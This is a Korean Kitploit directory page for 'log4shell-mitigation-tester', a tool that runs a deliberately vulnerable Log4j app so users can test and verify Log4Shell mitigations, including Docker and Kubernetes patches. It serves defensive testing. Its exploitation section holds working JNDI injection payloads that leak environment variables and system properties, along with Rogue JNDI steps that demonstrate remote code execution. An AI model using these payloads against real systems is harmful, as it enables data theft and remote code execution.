Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4shell-mitigation-tester — Log4Shell(CVE-2021-44228) 완화 접근 방식을 샘플 취약 Log4j 앱으로 테스트하고 검증하세요. JNDI 악용, 환경 변수 우회 방법, Docker/Kubernetes 패치를 포함합니다. | Kitploit
도구/GitHubGitHub/lhotari/log4shell-mitigation-tester
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

Log4Shell(CVE-2021-44228) 완화 접근 방식을 샘플 취약 Log4j 앱으로 테스트하고 검증하세요. JNDI 악용, 환경 변수 우회 방법, Docker/Kubernetes 패치를 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
16134년 전아직 검토되지 않음

Log4Shell 완화 테스터

이것은 Log4j 2.14.1 을 사용하는 예제 애플리케이션입니다.

소스 코드: App.java

이 도구의 목적은 다양한 완화 접근 방식을 테스트할 수 있도록 하는 것입니다. 완화 접근 방식은 Microsoft의 CVE-2021-44228 Apache Log4j 2 대응에서도 언급되어 있습니다.

사용 예시

예시는 bash 셸 기준입니다.

앱 빌드

root@kitploit:~
./gradlew assemble

완화 조치 없이 실행

root@kitploit:~
java -jar app/build/libs/app-all.jar

명령줄에 문자열을 전달하여 메시지 lookup 기능을 테스트합니다:

root@kitploit:~
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

-Dlog4j2.formatMsgNoLookups=true 시스템 속성 완화 조치 테스트, https://twitter.com/brunoborges/status/1469186875608875011

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

LOG4J_FORMAT_MSG_NO_LOOKUPS=true 환경 변수 완화 조치 테스트, https://twitter.com/brunoborges/status/1469462412679991300

root@kitploit:~
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true 환경 변수 완화 조치 테스트, https://twitter.com/brunoborges/status/1469426918550245377

root@kitploit:~
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

클래스패스의 log4j2.component.properties 완화 조치 솔루션 테스트:

root@kitploit:~
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

백문이 불여일견 - 이 샘플 앱 악용해 보기

앱을 실행하면 취약점이 실제로 동작하는 모습을 볼 수 있습니다:

root@kitploit:~
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

또한 솔루션을 디버깅하고 다음의 취약한 코드에 중단점을 설정할 수 있습니다: https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

org.apache.logging.log4j.core.pattern.MessagePatternConverter 클래스의 128번째 줄에 디버거를 설정하세요.

완화 조치가 적용되면 디버거는 해당 코드 블록에 절대 도달하지 않아야 합니다. LDAP 호출도 시도되어서는 안 됩니다:

root@kitploit:~
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

Rogue JNDI로 악용하기

정보 유출 시연은 https://github.com/veracode-research/rogue-jndi/pull/11 변경 사항에 의존합니다

한 터미널에서

root@kitploit:~
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

다른 터미널에서:

root@kitploit:~
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Log4Shell에 대한 Kubernetes / docker 완화 솔루션

새 소프트웨어 릴리스를 기다리지 않고 Log4Shell을 즉시 완화하는 것이 필요합니다. 다음은 이를 빠르고 효과적으로 수행할 수 있는 몇 가지 솔루션입니다.

LOG4J_FORMAT_MSG_NO_LOOKUPS=true 환경 변수를 설정하는 얇은 오버레이로 기존 docker 이미지 패치하기

이것은 일반적인 솔루션입니다: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

Log4j 2.15.0 jar 파일로 기존 docker 이미지를 패치하는 예시

이것은 일반적인 솔루션이 아니며, 예시는 apache/pulsar에서 가져온 것입니다: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

LOG4J_FORMAT_MSG_NO_LOOKUPS=true 환경 변수로 k8s 배포 패치하기

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

도구 다운로드